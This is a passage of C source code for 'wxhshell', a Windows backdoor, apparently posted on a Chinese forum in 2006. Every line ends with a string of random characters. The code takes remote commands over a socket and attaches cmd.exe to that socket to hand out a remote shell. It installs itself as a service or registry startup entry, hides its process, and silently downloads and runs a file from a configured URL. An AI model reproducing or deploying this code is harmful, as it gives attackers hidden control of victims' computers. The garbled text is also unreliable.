    switch(cmd[0]) { <NB41/  
  xmH-!Da  
  // 帮助 \G;CQV#{9  
  case '?': { @@} `hii  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zvf3b!}  
    break; [7W(NeMk  
  } \&q=@rJp(z  
  // 安装 _CdROo6I  
  case 'i': { {}\CL#~y  
    if(Install()) GLh]G(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D1X{:#|  
    else ]\;xN~l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'G#SLqZy  
    break; A=`* r*  
    } p`>d7S>"  
  // 卸载 QN G&  
  case 'r': { I/s.xk_i  
    if(Uninstall()) J22r v(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '29WscU  
    else ;$!I&<)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aWaw&u  
    break; a %K}j\M  
    } )HVcG0H1  
  // 显示 wxhshell 所在路径 Tsz NlRxc  
  case 'p': { jA`a/v Wu  
    char svExeFile[MAX_PATH]; W_<4WG  
    strcpy(svExeFile,"\n\r"); iBvOJs  
      strcat(svExeFile,ExeFile); arj$dAW  
        send(wsh,svExeFile,strlen(svExeFile),0); Q}P-$X+/ n  
    break; j Z'&0x"U  
    } - L~Uu^o  
  // 重启 l3J$md|f  
  case 'b': { ;~/4d-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a [C&e,)}  
    if(Boot(REBOOT)) "!q?P" @C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bK=c@GXS  
    else { PDC]wZd/  
    closesocket(wsh); !_^g8^>2(  
    ExitThread(0); Y4To@TrN#\  
    } IZ~.{UQ  
    break; <lo`q<q  
    } GqUSVQ  
  // 关机 )%mAZk-*;^  
  case 'd': { 3{3/: 7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ` clB43 i  
    if(Boot(SHUTDOWN)) .~`Y)PON  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pP\h6b+B  
    else { knSuzq%*  
    closesocket(wsh); =kFuJ x)f  
    ExitThread(0); _T]>/}}p  
    } Q]\j>>  
    break; ~`Sle xK|}  
    } [ud|dwP"  
  // 获取shell .,mPdVof  
  case 's': { (hf zM+2  
    CmdShell(wsh); ']?=[`#NL  
    closesocket(wsh); Y6VQ:glDT-  
    ExitThread(0); J Jy{@[m  
    break; p\S8oHWe  
  } treXOC9^B8  
  // 退出 cyMs(21  
  case 'x': { 2 sSwDF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d8:C3R  
    CloseIt(wsh); Gah lS*W  
    break; }1>atgq]w  
    } 9^zx8MRXd  
  // 离开 #:{6b *}  
  case 'q': { @ER1zKK?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x/I;nM Y  
    closesocket(wsh); 0<&M?^  
    WSACleanup(); w3bIb$12  
    exit(1); Ae3,^  
    break; YMu)  
        } a8JN19}D  
  } }W}G X(?P  
  } UC|JAZL  
hTTfJDF  
  // 提示信息 Hsl{rN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HV\"T(8 9  
} p >aw  
  } 'v`_Ii|-  
Yy@g9mi  
  return; ` Zf9$K|  
} &@; RI~  
[TCRB`nTQF  
// shell模块句柄 _,Q[2gQ5N  
int CmdShell(SOCKET sock) !$r9C/k  
{ 3bts7<K=  
STARTUPINFO si; mP!N<K  
ZeroMemory(&si,sizeof(si)); ) `I=oB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; an KuTI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #!d]PH746  
PROCESS_INFORMATION ProcessInfo; qLRE}$P  
char cmdline[]="cmd"; |nm2Uy/0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $ !5f"<FCB  
  return 0; K:w]> a  
} (1 yGg==W.  
%#9P?COs&W  
// 自身启动模式 .,mM%w,^O  
int StartFromService(void) xjrlc9  
{ A& =pw#  
typedef struct stXda@y<p  
{ o<J5!  
  DWORD ExitStatus; [ &daG:  
  DWORD PebBaseAddress; o2}N=|&  
  DWORD AffinityMask; sR! +d:LJ4  
  DWORD BasePriority; Tc_do"uU  
  ULONG UniqueProcessId; 6ZksqdP8  
  ULONG InheritedFromUniqueProcessId; :#SNpn=@  
}   PROCESS_BASIC_INFORMATION; (nz}J)T&  
:c<*%*e  
PROCNTQSIP NtQueryInformationProcess; SG`)PW?  
#eLN1q&Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O PiaG!3<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M.[wKGX(  
K;C_Z/<%  
  HANDLE             hProcess; VN+\>j-  
  PROCESS_BASIC_INFORMATION pbi; w, 7Cr  
z1Q2*:)c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *(nJX.7  
  if(NULL == hInst ) return 0; 4W-"|Z_x  
^4UcTjh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e YDUon  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -yA3 RP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "Q?_ EEn  
' =}pxyg  
  if (!NtQueryInformationProcess) return 0; X <FOn7qf  
6$(0Ty  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5Hy3\_ +  
  if(!hProcess) return 0; >[P%Ty);  
l/F!Bq[*g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; os_WYQ4>j  
dyl 0]Z  
  CloseHandle(hProcess); O+vcs4  
OQc{ V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {? 2;0}3?;  
if(hProcess==NULL) return 0; N(BiOLZL6  
X~zRZ0  
HMODULE hMod; 6Pijvx^0  
char procName[255]; to51hjV  
unsigned long cbNeeded; u GIr&`S  
,`"K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +,wWhhvlzv  
)-#i8?y3C  
  CloseHandle(hProcess); @it/$>R^)  
yU!GS-  
if(strstr(procName,"services")) return 1; // 以服务启动 {\Ys@FF  
@E(P9zQ/zy  
  return 0; // 注册表启动 V" }*"P-%  
} _<2 RYXBC  
}Az'Zu4 =  
// 主模块  z \^  
int StartWxhshell(LPSTR lpCmdLine) Se/ss!If  
{ oX*b<d{\N  
  SOCKET wsl; Y2D >tpqNw  
BOOL val=TRUE; [%? hCc  
  int port=0;  `~h0?g  
  struct sockaddr_in door; ;L$,gn5H  
d.I%k1`(  
  if(wscfg.ws_autoins) Install(); g41<8^(  
#@q1Ko!NZ  
port=atoi(lpCmdLine); L5&K}F]r^  
TR?Bvy2s:g  
if(port<=0) port=wscfg.ws_port; FR(QFt!g  
w_!%'9m>  
  WSADATA data; /]g>#J%b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S%{lJYwXt  
UI_v3c3b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <dS5|||  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); > '.[G:b  
  door.sin_family = AF_INET; qZP:@r"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _1\poAy  
  door.sin_port = htons(port); ?ff [$ab  
G1TANy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c l9$g7  
closesocket(wsl); ;tXY =  
return 1; ;xI0\a7  
} _^-D _y  
s_S$7N`ocS  
  if(listen(wsl,2) == INVALID_SOCKET) { g kn)V~ij  
closesocket(wsl); 5E0wn'  
return 1; D>S8$]^Dm  
} '?b\F~$8  
  Wxhshell(wsl); <a fO 6?`  
  WSACleanup(); ~7dF/Nn5  
oHk27U G  
return 0; Gj*SPU  
f:&)"  
} IBDVFA  
^t7_3%%w  
// 以NT服务方式启动 7<vy;"wB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !9PX\Xbn  
{ *iYMX[$  
DWORD   status = 0; ~Z7)x7 z  
  DWORD   specificError = 0xfffffff; 1S&0  
A^t"MYX@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R7,p ukK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UL[uh@4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z41D^}b  
  serviceStatus.dwWin32ExitCode     = 0; AT-0}9z{  
  serviceStatus.dwServiceSpecificExitCode = 0; hj+p`e S  
  serviceStatus.dwCheckPoint       = 0; :Fc8S9  
  serviceStatus.dwWaitHint       = 0; wzg i @i  
K` 2i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 16L"^EYq  
  if (hServiceStatusHandle==0) return; |MVV +.X  
ig+k[`W  
status = GetLastError(); 2G H)iUmc  
  if (status!=NO_ERROR) Ls(&HOK[p  
{ JOPTc]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !#C)99L"F  
    serviceStatus.dwCheckPoint       = 0; o16d`}/<  
    serviceStatus.dwWaitHint       = 0; T:Bzz)2/  
    serviceStatus.dwWin32ExitCode     = status; KoFv0~8Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; ? 1GJa]G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TX&[;jsj  
    return; ~6] )*y  
  } =?^-P{:\?  
,Io0ZE>`V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NWeV>;lh9  
  serviceStatus.dwCheckPoint       = 0; p0   
  serviceStatus.dwWaitHint       = 0; $4sA nu]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 80dSQ"y  
} tD865gi  
N=.}h\{0  
// 处理NT服务事件,比如:启动、停止 >}mNi:6xq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dWMccn;-m  
{ 3Nc'3NPQ'  
switch(fdwControl) e5QOB/e&  
{ ]Kof sU_{  
case SERVICE_CONTROL_STOP: DZ,<Jmg&e*  
  serviceStatus.dwWin32ExitCode = 0; makaI0M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U-ERhm>uk  
  serviceStatus.dwCheckPoint   = 0; pz.Y=V\t  
  serviceStatus.dwWaitHint     = 0; Xad G\_?t`  
  { .[#xQ=9`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K6ciqwUO  
  } YcPKM@xo  
  return; \m@] G3=]  
case SERVICE_CONTROL_PAUSE: /FoUo   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6Q?BwD+>  
  break; :vw0r`  
case SERVICE_CONTROL_CONTINUE: ZBPd(;"x+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j )<;g(  
  break; b!0'Qidh0  
case SERVICE_CONTROL_INTERROGATE: }#1U D  
  break; er#8D6*  
}; kx:c*3q.k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S_a :ML<  
} K<D`(voL  
lp?i_p/z  
// 标准应用程序主函数 8.:B=A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q S5dP  
{ P)a("XnJ`  
 <WO&$&  
// 获取操作系统版本 -/@|2!d  
OsIsNt=GetOsVer(); MX"A@p~H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %g!yccD9  
9Ilfv  
  // 从命令行安装 =PI^X\if88  
  if(strpbrk(lpCmdLine,"iI")) Install(); >hHJ:5y  
t `N ">c"  
  // 下载执行文件 >fW+AEt\JB  
if(wscfg.ws_downexe) { ?ykVfO'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2,rY\Nu_  
  WinExec(wscfg.ws_filenam,SW_HIDE); f+Pg1Q0zI  
} ZD$-V 3e`  
Pn~pej5'K  
if(!OsIsNt) { v(i1Z}*b  
// 如果时win9x,隐藏进程并且设置为注册表启动 MtMvpHk  
HideProc(); xC= y^- 1  
StartWxhshell(lpCmdLine); Y{+zg9L*  
} em f0sL  
else ;D%$Eh&oma  
  if(StartFromService()) LsuAOB 8  
  // 以服务方式启动 !l sy&6  
  StartServiceCtrlDispatcher(DispatchTable);  Oz"@yL}  
else e-L5=B  
  // 普通方式启动 sURUQ  H  
  StartWxhshell(lpCmdLine); c#]'#+aH  
2U-#0,ll]  
return 0; ls8olLM>  
}
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只看该作者 1 发表于: 2006-10-10
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